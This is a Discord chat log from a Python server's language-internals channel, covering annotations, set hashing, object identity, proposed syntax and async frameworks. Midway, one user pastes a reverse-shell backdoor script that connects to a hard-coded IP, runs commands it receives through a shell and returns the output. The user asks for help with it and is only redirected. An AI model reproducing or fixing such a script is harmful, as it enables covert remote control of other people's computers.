#internals-and-peps
1 messages ยท Page 44 of 1
those are pretty confusing to me ^^'
You can look into dataclasses if you want a useful use case.
I use those a lot to format json data, with no understanding on how the backstage works thought
!e
class Hello:
a: str
b: int = 42
print(Hello.__annotations__)
@grave jolt :white_check_mark: Your eval job has completed with return code 0.
{'a': <class 'str'>, 'b': <class 'int'>}
!e
def dumpinfo(cls):
for name, annotation in cls.__annotations__.items():
print(f"{name}: {annotation} = ", end="")
if hasattr(cls, name):
print(getattr(cls, name))
else:
print("<undefined>")
return cls
@dumpinfo
class Hello:
a: str
b: int = 42
c: "hello world" = ((()))
@grave jolt :white_check_mark: Your eval job has completed with return code 0.
001 | a: <class 'str'> = <undefined>
002 | b: <class 'int'> = 42
003 | c: hello world = ()
so annotations are actually stored with the object itself
Hello all
I am really new here
trying to learn python
name = ''
while True:
print('Please enter your name?:')
name = input()
if name != '':
break
print('Thank you')
the above code works fine but i do not understand why i need to have name = ' ' before writing the code. How doe "While" connect to name = ' '?
Please ask specific questions via our help system. Check out #โ๏ฝhow-to-get-help
Hello
okay
!e ```py
def dumpinfo(cls):
for name, annotation in cls.annotations.items():
print(f"{name}: {annotation} =", getattr(cls, name, "<undefined>"))
return cls
@dumpinfo
class Hello:
a: str
b: int = 42
c: "hello world" = ((()))```
You are not allowed to use that command here. Please use the #bot-commands channel instead.
yep, it would
Hello can someone teach me how to code of know where I can learn to code using the python language
nobody's gonna teach you to code for free, but have you checked out our resources page? it has a whole load of resources you can use to learn python ^^
!resource
The Resources page on our website contains a list of hand-selected learning resources that we regularly recommend to both beginners and experts.
Oh really?
anyone here that knows f sharp? I can pay for help
Is it easy?
@twilit garnet i can pay ya if you know f sharp and can help me
@tender raptor 1) this is python-language, it is not for any off topic discussion (of which f-sharp is not part of the topic in this channel) 2) we don't allow any form of recruitment in this server, see rule 6 in #rules
@worldly venture wait could you possibly know the basics for python?
That's also off topic for this channel
Oops my bad joe @worldly venture what is suppose to be discussed on this channel?
specifics on the implementation of python, see the topic, you should probably ask in #python-discussion, but you have been pointed above to the resources document
question
is this channel a good channel to ask which of two designs are better?
by designs I mean code designs
like x.get_y() vs x.y
this is the wrong channel jokes2
ok my bad
question
is this the right channel for asking which of two code designs is better
more readable and more concise
i suppose you can ask design questions, seems reasonable
alright
Question, what syntax is preferred for allowing GUI callbacks?
@window['#identity'].on('click')
def callback(button):
print(f'The button {button.id} was clicked!')
#OR
@window('#identity').on('click')
def callback(button):
print(f'The button {button.id} was clicked!')
should I use window['#identity'] or window('#identity')
to get the element from window with the id 'identity'
i'd use () only because i think the __getitem__ thing was only recently allowed syntactically
alright
@window('#identity').on('click')
def callback(button):
print(f'The button {button.id} was clicked!')
does this seem readable to an average user who has never seen my application but knows Python then?
or was it the . that was allowed
recently would be in the future in this case
is window('#identity') a good idea or should I use something more like window.element_from_id('identity')
ah it's a 3.9 thing?
even though window.element_from_id('identity') might not work for complex cases
yep, full expressions beacme valid in 3.9
ok, well definitely don't use getitem then
huh
is window('#identity') better then window.get_element_from_id('identity') or window(gui.Id('identity'))
yeah
question, what's the best way for me to select an element then
should I make it so you can do window('#identity')
or is window.get_element_from_id('identity') prefered
or even window(gui.Id('identity')) using a custom object selector
i mean i prefer the less wordy version, but i'm not a gui programmer
I actually prefer window('#identity')
but I want to know what people prefer since I want to publish this
and open source it
window('#identity') is just like jquery $('#identity')
hey guys quick question how can I make a log to record when people try to hit me offline
ik this is basic and pointless but plz help lol
@drowsy wasp as mentioned above, not the channel for this
w = Window('My Window Name', [
['A Column', 'Another Column'],
['Another Column', 'This is Great'],
UnsizedRow(['Enter Username', Entry()]),
UnsizedRow(['Enter Email', Entry(id = 'enter-email')]),
'This is centered text which is part of no row',
Button('submit', id = 'submit')
])
@w('#submit').on('click')
def callback(button):
print('Hello world!')
print(f'You entered: f{w("#enter-email").text}')
Is this readable?
well it's weird anyway
that second arg to Window ... it's a list of what now?
sometimes pairs of strings, sometimes UnsizedRows? Does some existing API force you to do that?
no, this is a design choice and it's not finished yet
'TEXT' is converted to a text widget
Text('TEXT')
UnsizedRow is a row where all of the elements inside of it aren't split and are right next to each other
well given that I had no context, I'd say that's not bad
essentialy
Guys, this really isn't the channel to discuss how readable your code is
I'd write out the Text('text') myself
#internals-and-peps is about discussing the language of Python itself
See the channel topic
If you want to discuss your code either #python-discussion or a help channel is the place
I have, the overall design of the language, doesn't that mean I can also talk about how to design my code?
The language not your code
Thanks
No thanks necessary.
do you think python 4.0 is available
guys, how are sets slower than lists? Am I missing something/using flawed testing?
versioning isn't a mathematical number
3.9 doesn't have to be followed by 4.0
@unkempt rock Slower for what?
let me show my testcase
Rather superficial, gonna warn you
from timeit import Timer
a = Timer('a = len({1, 2, 3})', 'b = sum({1, 2, 3})').timeit()
b = Timer('a = len([1, 2, 3])', 'b = sum([1, 2, 3])').timeit()
c = Timer('a = len((1, 2, 3))', 'b = sum((1, 2, 3))').timeit()
Are they speedy somewhere else?
sets are not really designed for a performance approach to problems
Is it more of a memory saving measure (as you're not using indexing)?
yes
x in my_set is O(1) for sets, whereas it is O(n) for lists.
this makes sets useful for "mathematical sets" operations
the fact that they prevent duplicates can also be useful
@unkempt rock You can think of a set as a dictionary without values.
i dont get why use lamda instead of noraml func(im just starting to learn now)
it only shortens codes
is there anything im not seeing
The membership test explaination is nice
@mental reef lambda are useful when manipulating functions as object (which they always are of course)
defining the function you pass as argument to another function directly
lambda is also good for function generators and generaly for a lot of stuff if you're into the fuctional paradigm
ok tq
@gloomy rain are sets actually implemented like hash tables without values?
I know they are in some languages
def double(x):
return x * 2
map(double, [1, 2, 3])
vs
map(lambda x: x*2, [1, 2, 3])
The second is more compact.
@mental reef ^
@neat pike I'm like 99% certain that's the case.
They definitely require entries to be hashable, so it would make sense.
If it's the case, it's not done directly though
>>> isinstance(True, int)
True
>>> isinstance(set(), dict)
False
>>> ```
oh I'm stupid
having sets be actual **dicts** would require implementing all dicts methods
calling .values on a set wouldn't make much sense
.keys not much either
Indeed, CPython's sets are implemented as something like dictionaries with dummy values (the keys being the members of the set), with some optimization(s) that exploit this lack of values
From some random SO thread
maybe there is an abstract class from which they both come, or something more hardcoded
the keys being the members of the set
why
why not just None
I think None is a constant, not some null pointer
I'm not sure what you're referring to.
I misread
I thought they were using the members of the set, of course as the keys, but also as respective values
Ah, nope.
Note also that a O(1) algorithm with a high constant can perform worse than a O(N) algorithm with a low constant, especially for low values of N
Ah, yeah, it's not really worth using a set for membership tests unless you have a lot of entries.
these constants were probably documented somewhere
along what is being used to hash etc.
I think for smaller N, tuples > lists > sets.
@neat pike The hash function is defined by __hash__()
So you can customize it.
set.__hash__ is None
No, for the entries.
tuple and list should be pretty close, performance-wise - both are contiguous arrays. but yeah, for small N, both should outperform set in terms of membership tests.
it should be consistent along the entries of one instance of set
The default hash for each builtin type is defined somewhere, yes.
It's type-specific.
there is no default hash for object, because not all objects are hashable. Nor do all hashable objects share a common base class, so there's no way to inherit a default hash.
https://github.com/python/cpython/blob/f453221c8b80e0570066a9375337f208d50e6406/Python/pyhash.c#L85 is the hash for a float, though, for instance
small enough integers just return themselves as a hash
yeah. hashing for integers is https://github.com/python/cpython/blob/master/Objects/longobject.c#L2925
something more is done besides the own types __hash__
first there is the problem of set containing various types
and just, if we were only relying on the elements __hash__ it wouldn't work
it literally does just call the type's __hash__. https://github.com/python/cpython/blob/master/Objects/object.c#L769
tp_hash is the C name for what is called __hash__ in Python.
@neat pike Why?
>>> myset = {1}
>>> 18446744073709551609 in myset
False
>>> x = 18446744073709551609
>>> y = 1
>>> x.__hash__()
1
>>> y.__hash__()
1
>>> ```
That's not how hash tables work.
It only uses the hash to decide on the bucket.
A hash collision just means it needs to do a linear search in that bucket to find the element in question.
It doesn't use the hash to identify the object itself.
that's why every type that defines __hash__ also needs to define __eq__, and enforce the constraint that if two objects compare equal they must also hash to the same value.
If you have a custom class and define __hash__() to return the same value for every instance, the set will still work, it'll just have O(n) membership instead of O(1).
two objects in a set are only considered identical if hash(a) == hash(b) and a == b
also, all user made classes default to a hash of id(x) // 16 afaik
oh right you can't hash mutable types
you can in theory, but in practice it is not all that useful to do so
You can have mutable types, you just can't let the hash value change.
I mean from what Python allows
I was wondering why your test didn't include memory location but if it's only immutable it's ok
So whatever properties of the instance are used to derive the hash value and the eq function must be immutable.
Python does allow mutable (user defined) types to hashed, as long as they don't override the default equality behavior (by default, for a user defined type, == is equivalent to is, and so it doesn't matter whether it's mutable, because no other value could ever be equal to it anyway, and so it can be hashed by its memory address)
In [33]: a = X(10)
In [34]: hash(a)
Out[34]: 8564098593393
In [35]: a.val = 20
In [36]: hash(a)
Out[36]: 8564098593393
well, there is nothing exactly stopping you from making a class like this
import secrets
class U:
def __hash__(self):
return secrets.randbits(6)
```it does sort of work too in a set, but in a dict it is a bit meaningless
in what sense does that "sort of work"?
In [37]: import secrets
...: class U:
...: def __hash__(self):
...: return secrets.randbits(6)
...:
In [38]: a = U()
In [39]: a in {a}
Out[39]: False
I don't see how that would work for a set.
you can still iterate through the set and get almost all the elements
but yeah, generally a bad idea to do this
It completely defeats the point of using a set if you can't do membership tests.
the contract for __hash__ is that it must return an int, and if two objects compare equal they must return the same int. Returning a different int for the same object violates the contract of __hash__, and breaks any hash-based container that tries to use it
the language doesn't stop you from doing it, but it's still a violation of your contract with the interpreter - you've implemented a magic method that doesn't do what it's required to do.
Ask in a help channel, and when you do include your code. See #โ๏ฝhow-to-get-help
I made this little code for testing and I want something to happen while I keep a mouse button pressed, it works perfectly with the "Middle" and "right" buttons, but with the "left" it doesn't work, why?
Hello! Well am a novice in python. I have a project that demands me to create an app so I decided to go in for tic tac toe. Am at the level of making the buttons work now i.e the function I need to make the buttons work properly. Am using classes just to note. Need some help please.
No
Tkinter ad with classes
which channel do i go to for help when my error is UnboundLocalError: local variable 'amount' referenced before assignment
lol
In Pycharm, How can I switch to the testing area (Run area) to type in input values to test my codes, without having to use the mouse to click in that box down there?
@tacit sinew The folks in #tools-and-devops might know. It's possible it could be a keyboard shortcut you could assign, but I'm not for certain
Oh I thought this is the right channel.. Thanks for the heads up!
Any time
what abou graphs in python?
How about matplotlib
If you mean graphs as in edges and verticies, networkx
Hi guys! Can someone explain me how to use raw sockets in python and what are they?
why is option not defined here
@open totem I'd take that to a help channel. If you don't know how to receive help, #โ๏ฝhow-to-get-help will guide you.
If you mean graphs as in edges and verticies, networkx
@flat gazelle ????
Yes
Like search algorithms and more
i learnt python all the basics oop decoraters generators adn some intermediat stuffnow before i start using guis i want to make sure thath im good with normal python before i move cause i completed that course in 2 weeks i understood everything
and i feel like i learnt it too quick
so want to make sure im good with it
waht should i do
write some code in python
yeah what to build
i am dumb ik all the code and sytax but am not good with thinking creativly
So I want some project ideas
Or
A place that's has some good number of project ideas
There's a bunch of ideas pinned in #python-discussion I believe
Is there a standard way of defining a dicitonary without assigning it an actual key or value?
{}
Oh lol
is it possible to define a function after the main program?
There is no such thing as a main program in python, so yes
though do note that
if __name__ == '__main__':
foo()
def foo():
print('Hello')
```will not work
oh ok thank you
And no, a function with the name "main" isn't one, and no, if __name__ == '__main__' isn't one either.
gotcha
anyone got any experience with the wolfram alpha api?
though do note that
if __name__ == '__main__': foo() def foo(): print('Hello') ```will not work
@flat gazelle ```py
def foo():
print('Hello')
if name == 'main':
foo()
I am aware, his question was relating to functions under the entry the entry point.
ั:
Protected attributes aren't a thing in python, if the docs say don't call it, just don't :)
okay
How do i access globals of _main_ inside an import?
@unkempt rock don't imo, unless you pass them in
You actually don't, that's the main purpose of main, not be accessible when imported
The code inside it will not even be ran if you import the file
the whole thing inside a function
if the whole thing is in a single function, there are larger problems going on
Write these so called globals above the if main guard.
Even with that, the code in if __main__ == '__name__' will not be ran if you don't directly make python run that file
I also don't want to have everything in a single file
Though I do agree that if you're calling or invoking a different file, you should pass everything explicitly
You should move them outside, that's the only way
Nah
Keep it simple, akarys has a good suggestion
If multiple files need to use the same variables, make a config/settings file of sorts out of it.
I second that suggestion on centralizing those on a file of this type.
Hey @unkempt rock, this channel is not a help channel, but a channel for discussing the Python programming language itself, from a higher-level perspective. Things like the implementation, PEPs, the future of the language, the steering council, and advanced language features. For help questions, we have up to 32 help channels available, see #โ๏ฝhow-to-get-help for information on how to claim one. For discord.py-specific questions, we've got a #discord-bots topical channel. Thanks!
I didn't even know the steering council has an election. I need to read up more on how all this is formed and how the core team is formed
It's recent.
It was actually an interesting transition to watch after Guido van Rossum stepped down as BDFL.
I think Real Python has a blog post about it
hello sorry in advance for the lack of knowledge and hopefully this is the right place to ask this question
i was just wondering what do we call these things that are within {} like {0} or {bot.user} for example? stuff within " " are strings but what about the {} ?
ask in the available help channels
can you point me to the right channel
that's general enough to ask in #python-discussion
Thank you
This PEP details the steering council: https://www.python.org/dev/peps/pep-0013/
I think Guido is off of everything
He got upset from other council members bitching on twitter after the walrus operator implementation
And now he seems to be retiring all together. Off the council, retired from all his work
thanks Ves
I mean some sort of organization is needed to agree on what to release and when. Can't do these things in isolation or it would be chaos to Python's core.
surprised it is a voluntary role as it has a lot of responsibility that comes with it. I couldn't handle that and a job, more power to them.
@event.handler(5)
def callback(x, y):
pass
What if we had a syntax more like
handle event.handler(5) as x, y:
print(3)
Honestly I feel like the function just makes it less readable
def callback(x, y) when you don't even need it to be a function and a callback
In this example, yep.
handle takes in a function and as for arguments, then it uses the body
how do you chain them
chaining handles?
oh, you're not trying to replace decorators
handle is mainly for event handling so I don't see why you would want to
yeah, I'm trying to replace a subset of decorator usage
I don't like the handle keyword
Honestly I prefer with but that's taken
with event.handler(5) as x, y:
print(3)
I like the decorator pattern, although decorator internals are sometimes quite ugly
although I suppose that's the point - to abstract the ugly away
yeah, I think it's convenient
and I think it's especially convenient for inner decorators
when you want to register inner callbacks
also I think it's just quite a nice pattern and it helps you clarify what it is
using a keyword like handle removes an unnecessary line
it makes you see it less as a function, and more as a callback
but a callback is a function ๐ค
but it's a more specific subtype of function
@client.event
def on_message(message):
print(message.content)
handle client.event('on_message') as message:
print(message.content)
client.event('on_message', (message) => (
print(message.content)
))```
looking a bit like js
I suppose
I think Guido is off of everything
@swift imp
He's since the most recent steering council. He was actually a part of the first two (?) steering councils, but decided that he wants to focus on writing code/being a core dev instead of governance in his retirement as it doesn't give him that much joy. That's what he wrote in a post explaining why he'd withdrawn (he was originally a candidate for this year as well).
It's not like he isn't involved anymore (just look at the new parser)
And now he seems to be retiring all together. Off the council, retired from all his work
@swift imp He is in fact very active on CPython itself via the recent PEP 617.
Since when did you not need , with a list definition?
That will be a list of a single string afaik
('ab'
'cd') == 'abcd'
strings are neat like that
Hello, @unkempt rock, this channel is strictly for discussing the Python programming language. It's not for more general chat. We have three off-topic channels in the category below this channel.
Okay i apologize
l = [1, 2]
m = l
here m and l point to the same object in memory, as far as I understand... is there anyway to check this?
id is your friend:
>>> l = [1, 2]
>>> m = l
>>> id(l)
1917820621896
>>> id(m)
1917820621896
or is them
ah ok, cheers
!e
x = [1, 2]
y = x
z = [1, 2]
print(x is y)
print(x is z)
@grave jolt :white_check_mark: Your eval job has completed with return code 0.
001 | True
002 | False
Small integers are preallocated and reused, but large ones aren't:
!e
two = 2
x = two + two
y = two * two
print(x is y)
big = 344534534534
a = big + 1
b = big + 1
print(a is b)
@grave jolt :white_check_mark: Your eval job has completed with return code 0.
001 | True
002 | False
Does python if (condition_1 and condition_2):
suffer from the same problem of lack of short-circuit evaluation as
rules = [condition_1,
condition_2]:
if all(rules):```
or is it evaluated the same as
```python
if condition_1 and condition_2:```
Small integers are preallocated and reused
Note that this is a CPython implementation detail, not a general Python language feature.
Hmmmm
@eternal sigil adding braces doesn't change the way it's evaluated. if a() and b() and if (a() and b()) both short circuit. It's and that applies the short circuiting, not if.
Much appreciated!
In [1]: def a():
...: print("a")
...:
In [2]: def b():
...: print("b")
...:
In [3]: bool(a() and b())
a
Out[3]: False
why can't some objects be copied?
I found this https://stackoverflow.com/questions/39975898/copy-matplotlib-artist and I don't really understand why a particular object would be so hard to copy, whereas others are fine with copy.deepcopy
it's due to their implementation of __copy__() if I recall correctly.
I've had to resort to these kind of copy mechanisms in the past with GUI code
can enywone help me with my code?
this is my code:
import socket
import subprocess
host=52.215.119.172
port=1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(str.encode("Backdoor running."))
while True:
data = s.recv(256)
proc = subprocess.Popen(data.decode("utf-8"), shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = proc.stdout.read()
print(stdout)
if stdout == b'':
s.send(str.encode("Wurde gemacht"))
s.send(stdout)
and the error is:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'host' is not defined
This is the wrong channel for asking for help. See #โ๏ฝhow-to-get-help
thx
handle client.event('on_message'):
...
handle client.event('on_message') with message: #or as message
print(message.content)
Yes it is.
This is my idea for syntax on better handling.
@ruby spruce This channel is about the implementation and design of the python language.
Suggesting python language designs is in the bounds of this channel.
Hmm... I don't think we need new keyword handle only for discord.py
It isn't just for discord.py
This could be used for many libraries that want event handling
It's clear and concise and abstracts away the function definition
Something like this is with
with is for context managers
It executes code before and after execution
It's handy, but it isn't good for callbacks
The with body is no function
Then decorators
i mean what's the advantage over like
@client.event
def handler(message):
....
it like, saves a line, i guess, but yknow no new keyword
I think the advantage is it makes intent cleaner
And it's also quite nice.
You don't need a decorator and the callback is anonymous
You could also use async handle for asyncio
async handle client.event('on_message') with message:
print(message.content)
await message.channel.send('Hello World')
It could possible help beginners
@rich wharf I can almost guarantee that handle ... won't become a new statement for the language based on that reasoning in isolation. For pretty much any change to the stdlib, it has to have strong practical use cases with clearly defined real-world examples, but the bar is even higher for built-ins for the language. I really don't see a strong practical advantage for it over using a decorator.
Backwards compatibility would be a huge factor as well, considering the popularity of handle as arg, kwarg, function, and local variable names
If you're serious about the proposal, you could formally propose it in the python-ideas@python.org mailing list. But you'd have to very much flesh it out and come up with insanely strong arguments to justify the breakage. Especially after the amount of breakage in the 2->3 transition, we (the Python core development team, which I recently joined) are very hesitant to repeat that for anything that isn't absolutely essential.
One of the original languages I worked with when I was first learning was Inform
And it did have that neat structure that really does serve event-driven things well. Before, after, instead of keywords
Rule tables
It does however lead to harder to follow code in many cases and might not be the best of fits for python. But you can definitely use decorators for the same purposes
An example could be:
@event
def do_thing():
print(1)
@before(do_thing)
def a():
print("Before thing")
This could be a global registry (which is not the best of choices, but might be worth it, or something else I haven't thought of) that would support handling in a pythonic way and matches what a lot of other libraries (flask, etc) do. I know C# uses similar tools via annotations, and Rust via macros
But they do all share the "code immediately before function definition" structure, which IMO does make a lot more sense than a new block type
I believe you could in fact write something that would allow you to modify python functions with @before and @after, but you'd have to probably play with __call__ or __code__ and it would probably be cleaner to "eventify" them with a special decorator first
@grizzled vigil This wouldn't break backwards compatibility since decorators would still exist
And it probably won't be added, but it is an interesting idea
@rich wharf The backwards compatibility is a concern because of using handle as a statement, not the functionality described. It would be incompatible w/ existing code that uses handle for other purposes, such as what I described in the above message.
oh, that's true
Variable Properties Assignment
class x:
y = 3
z = 4
{y, z} = x
print(y) #3
print(z) #4
Unpacking and Variable Properties in Function
class x:
y = 3
z = 4
def func({y, z}, (a, b), i):
print(y, z, a, b, i)
func(x, (6, 7), 5)
#3 4 6 7 5
{y, z} = x where x is a class would require a ton of new semantics to be added to the language. You'd need to define an ordering for all of the properties of a class, including attributes inherited from parent classes, or added by a metaclass, or added by setting an attribute after the class was defined. And what would it mean for a class with a __getattr__ or __getattribute__?
You might just restrict it to "same names as attributes", so {x, y} goes for attributes x and y. But I think that might be a bit too magic.
You could instead take a page out of namedtuple's book and write a function to do this:
x, y = getallattr(x, "x y")
Already exists.
In [14]: class x:
...: y = 3
...: z = 4
...:
In [15]: import operator
In [16]: operator.attrgetter("y", "z")(x)
Out[16]: (3, 4)
i've found my first non-academic use-case of .send that really cleaned a lot of repeated logic i had
is dan bader in this group
i mean what's the advantage over like
@client.event def handler(message): ....
@merry pollen #discord-bots
this was fully related to the conversation, no need to redirect them
i didn't understand the proposed syntax
@deft pagoda - what was the use case for .send? I've yet to find one, myself.
if level == 1: time = [] intensity = [] for t in range(-2000, 2000): x = velocity_exo * t time.append(t)
I'm trying to make values for t = -50, -25, 0, 25, 50
how do i can ge this part so t on the x-axis has those values
i hid a lot of repeated logic in a generator --- but i needed a way to modify one of the items it yielded occasionally
it's here
generator is on line 19
the __or__ and __xor__ methods actually use .send
still dreaming about None-aware operators
makes working with None defaults extremely convenient
i feel like a ? could be pretty useful to have around
Can mypy deal with none safety?
I'd think it was rejected tbh, it doesn't really follow the python philosophy
!pep 505
i think it looks fine, though i dunno why they proposed double question mark
self.files = files ? []
single seems fine
self.files = files ? []single seems fine
@deft pagoda
that's a call to the proposed maybe-subscript operator, if you remove the insignificant spaces.
well, unpropose that
hi
If you required parentheses, you could do (a else b) without introducing a new operator... But without requiring parens it would be ambiguous in a ternary context.
whats async and when is it used?
a else b, doesn't look awful --- i've wanted inline ifs before, but with generator syntax... do_something() if cond
PEG parser could maybe allow them to explore some of these
whats async and when is it used?
?
async is a module with an event loop for writing asynchronous programs
but i want to say acc to my knowledge, async aspect of python is not good so
if you want to use any async features your program or other, depends on your software (Web or desktop or other ) i suggest other frameworks or languages maybe. Nodejs -> web, c# -> desktop ..
I'm not really sure what's wrong with async in python?
but i want to say acc to my knowledge, async aspect of python is not good so
saying just 'not good' is not a valid claim.
It's one of the nicer async APIs I've used
I'm a member of quite a few language communities and typically when people come into a language-specific channel/community and say "this doesn't work in this language, just use that language" and it usually means "I'm familiar with how it works in x, I'm not familiar with how it works in y, and the way you do it in y is slightly different, and so y is bad"
Damn, I mean I was that person a few months ago lol.
very few language features are actually straight up better than another languages feature
Python already occupied my heart and even C#'s beep noise method won't make me love C# even tho I felt nice when I ran that program and it was like *Beep!
try printing '\a' in python
I guess it does not beep on android
Wait is it supposed to beep?
I think \a is the bell character, yeah
^
Let me run it on my desktop, omh don't make me melt...
not all terminals actually beep when it's printed anymore
it does in cmd, powershell and WSL
:( It did not beep it just returned "\x0x".
I ran a Python console from the Run box and it didn't beep!
Nope, not even PowerShell in Visual Studio Code didn't beep.
Yeah
Guys i want to clear sth:
i said that before "async is not good with python" ok, but i want to say really it
\a is suppose to beep ?
Python's async module and async and threaded programming features is weak to another programming languages or frameworks that build for best async programming. I am saying who familiar with web technologies, they already know that django vs node.js -> async programming, Node.js is entirely built for async web programming.
I didn't heard anything
Same
in vsc or in my terminal, nothing
Yup, yup.
python also has frameworks for better async.
it is not just asyncio, there are even option which do not need await at all and do everything automatically
So, if you want to do sth definitely async stuff with python, i suggest using 3rd party modules
also, weak in what way? What feature does python lack that others have that makes async inconvenient?
yes that i want to say
for ex; you working with web app with async features i say nodejs is best.
or you working with app that uses much amount data -> u better use python (numpy, pandas etc.)
if you not agree with me, you can search it deeply.
show some some actual examples of what node does better than python
wait
Is Python faster than Nodejs?
Performance/Speed
As Node. js is based on fast and powerful Chrome's V8 engine, Node. js is faster than Python, and generally one of the fastest server-side solutions around.
aren't we talking about async? What does execution speed have to do with anything? If you are using async, you are IO bound, not CPU bound
If speed is your concern then you may be missing the point of Python
By the way, Django has ongoing work to add async support
i want to say C
๐
and laying my back to my couch ๐
@flat gazelle write goole that "async app languages"
I am finding that pretty much every language under the sun can do async one way or another
I mean, probably you can always make your own event loop if one wants
but at last i want to say that: "If you want to develop sth with any language, i suggest using 1 cpu and one way data transition.
how is anything you've written related to the channel topic, btw
every language has best features for vary fields. C best in speed and hardware, Javascript is best in web. if you want to design a website with C, it does not make any sense
^
A lot of languages do specialise, but those languages are not necessarily useful as general purpose languages
It's sometimes said that python is the second best language for any task and I think that's testament to the versatility of the language
The truth is that every language is a tool, and every tool has a specific use
I'd question that being true for any task
You don't use a screwdriver to bash in nails, if you see what I mean
It's definitely a kewl language tho
You could, but.. use a hammer.
i've done exactly that before lmao
Haha, haven't we all
Although there was no hammer so it's justified
we'll ignore that i didn't bother searching for one
and just assume it never existed
Also you're right, there are a couple fields python excels at
But that's because of the versatility I mentioned, it's not like it specifically targets those areas
Yeye
I've only ever used python to help me in other languages tbh
Or in assignments
Just quick little scripts that automate certain bits of a coursework or something repetitive I find myself doing
same
I've used it for major applications
It was my primary language until this year, and that's over 11 years of experience haha
Damn lmao
I'd definitely say it can be used for major applications, but a lot of the times it just begs the question should it tbh
Although again, depends completely on what you're doing
It makes sense for webdev and automation projects
Definitely has a special place tho 
Bots and that sort of thing
I've also used it for major server applications though
My introduction to python was actually a custom Minecraft server back in the classic days
It did a pretty amicable job
That's a good reason for a dev too :>
Python has a lot of useful language features.
I'm currently using it in my project for the same reason, because that's only a temporary code, I want to go fast
It's a very expressive language, yeah
Guys, i want to ask sth
Go ahead
Python's async module and async and threaded programming features is weak to another programming languages or frameworks that build for best async programming. I am saying who familiar with web technologies, they already know that django vs node.js -> async programming, Node.js is entirely built for async web programming.
@unkempt rock
Django is a framework; it's not the Python programming language
Node's equivalent is Express ftr
It's only introducing support for asyncio-based applications in the new release (3.0) and continuing to work on it
To say that async in Python is bad because a specific framework did not yet have extensive support for it is a bit weird
All in all, I'm not saying that Python is better or worse when it comes to async to other languages, but I often feel like people are coming into programming languages with expectations from other programming languages that they're used to and make unfair comparisons that only serve to block them progressing to learn that language.
I mean, it could be a valid concern if you're starting a new web app project and considering what stack to work with. Not saying that it does or does not, but if Python did lack a strong contender for a web framework that has good async support, that could be a reason to go with something else.
We do have aiohttp and that's pretty fabulous
Sure, but I'm more talking about the fact that they then make general claims about Python based on their limited experience
It's no Django but it's nice to work with
It's like Python programmers getting into Java and blocking their own progress by refusing to accept that there are different practises and approaches that are more common in Java
They get into a language with a lot of preconceptions and then blame the language
@gray mirage Sure, but that's what I mean, a single framework that covers all your needs would be nice. It's a dimension among many to consider when you choose your stack.
Oh sure, yeah
I mean I would argue that true async support for webapps has yet to be realised when it comes to utility, considering it really only helps with scaling
@wide shuttle That certainly does happen.
But yeah
@wide shuttle i definitely sayin that bro thank ๐
at last, independent from your work, i suggest that selecting a language for best to it
๐
sometimes, it is better to do a mediocre job in python than learn a whole language. https://www.hillelwayne.com/post/learning-a-language/
right now, python, simply because I know it best of all the backend langs
i am stuck there, i want to Backend support to my website, but python's Flask module seems slightly weak for it. on the other way, if i use django i dont know MV.. structure so clear.
maybe another language for it, but i dont want to learn a new language from beginning.
how does flask seem weak? Flask is very universal
i am saying that "is python good for backend development or is any language exist which best fit with server side scripting.
@flat gazelle "Flask is a mini-framework for web, at most for beginners.
Flask is a framework used in many real-world applications
so i am beginner to web too, but shoud l use flask for my website ?
it's mature, stable, and easy to work with
Netflix, reddit, Patreon, ... all use flask at least to an extent
it is not a toy framework
laravel, node, django, javaserverface, ... ?
or asp.net maybe
which is best or most popular for web
You're too set on finding "the best" that you've lost track of what that actually means
flask, django, springboot are the most popular rn afaik
The best framework or language is the one you like the most.
but yes, it is more about what you like than what everyone else likes
then you saying that "u can use python for web it is good for most" ?
yes, python can be used for almost all websites with no issues arising from the language
What about them?
one thing you need to discover about backend dev is that you can almost any language. Including the more odd ones like Haskell, Common Lisp, Clojure, elixir, ...
and most of then will work just fine
ones abilities as a programmer will be a bottleneck much sooner than a web framework
I'm not sure you understand what you want yourself
ok, relax men
?
at first
i have a well designed website.
but static, not like a facebook, or instagram, ok ?
i have users which visiting my site
and i want it very secure
k ?
i want secure and powerful with databases.
Python -> secure, but weak db access
Node.js -> not so secure accessing db can exploit.
i dont know other languages C#, Java, PHP etc..
Security has absolutely nothing to do with most languages
i want sth both secure and powerful for backend
also, Python does have excellent libraries for database access
Django has an ORM, there's also SQLAlchemy + Alembic (which can be integrated with Flask)
a language will not help you that much with security. You can write secure things in python just as well as in every other language. There are some advantages to languages like Haskell, Java (limiting constructor access) and Rust (probably similar to haskell), but it is not a catchall and you can still write security holes, regardless of how much you bullly the type system
C is statically typed, but I would say it can be less type-safe than Python because of void* and friends.
Is it ok to use a 2012 book to learn Python from?
I tried 2 popular books and I think they're shit..
I really like this 2012 book, but I'm afraid if it's outdated or something, could that be the case?
Well IDK the initial release of Python 3 so if you are down to learn Python 2, I mean why not?
You'll need to get comfortable with Python 3 while moving forwards but it won't be hard.
It uses Python 3 in the book.
@flat gazelle i dont mean web securitiy, i mean secure db access my friend ๐
It still applies
@unkempt rock secure DB access is entirely a factor of how you deploy your DB and little to nothing to do with the language in question
e.g., using a non-admin account to access the DB from your web app, having a strong password for admin, not allowing admin access from anything other than the server where the DB is hosted, rotating passwords regularly, not storing DB passwords in plaintext or in code, etc.
bro, i heard that javascript's database security feature is weak is it true or legnd ?
@uncut sage
@unkempt rock I don't use JavaScript, I can't comment
I think we've meandered quite a bit from the topic of this channel
yeah, any further questions in this vein belong in #databases
hi, someone can explain me how the XOR (x^y) work in python ?
Hi! When I start the bot the terminal: certificate has expired I don't understand, help c:
@unkempt rock answered in #python-discussion, but in future see #discord-bots for help with dpy
Okay
yo what lib can i use for drawing stuff on the screen and make it moving
wrong channel, but arcade/pyglet/pygame are solid
hey guys
so what's going to happen to python when it completely moves to githun?
will they ever accept external contributions? will it change anything?
or is it just a platform change?
They already accept PRs I think
They welcome all contributors; there's even a how to become a contributor guide on the website
If you want to help out reviewing stuff, that's fine as well (as long as the reviews are reasonable)
I'm sure the core devs and triage team like seeing informed opinions on PRs
@gritty goblet xor(x,y) or x^y is Exclusive OR. In English, its typically used as x or y but not both x and y
Less succintly x^y is equivanetly (x and not y) or (not x and y)
Its true when either are true but not when both are true
thats how it differs from regular or which is more correctly labeled inclusive or
thx
In [70]: %tt p or q, p xor q
โโโโโฌโโโโฌโโโโโโโโโฌโโโโโโโโโโโ
โ p โ q โ p or q โ p xor q โ
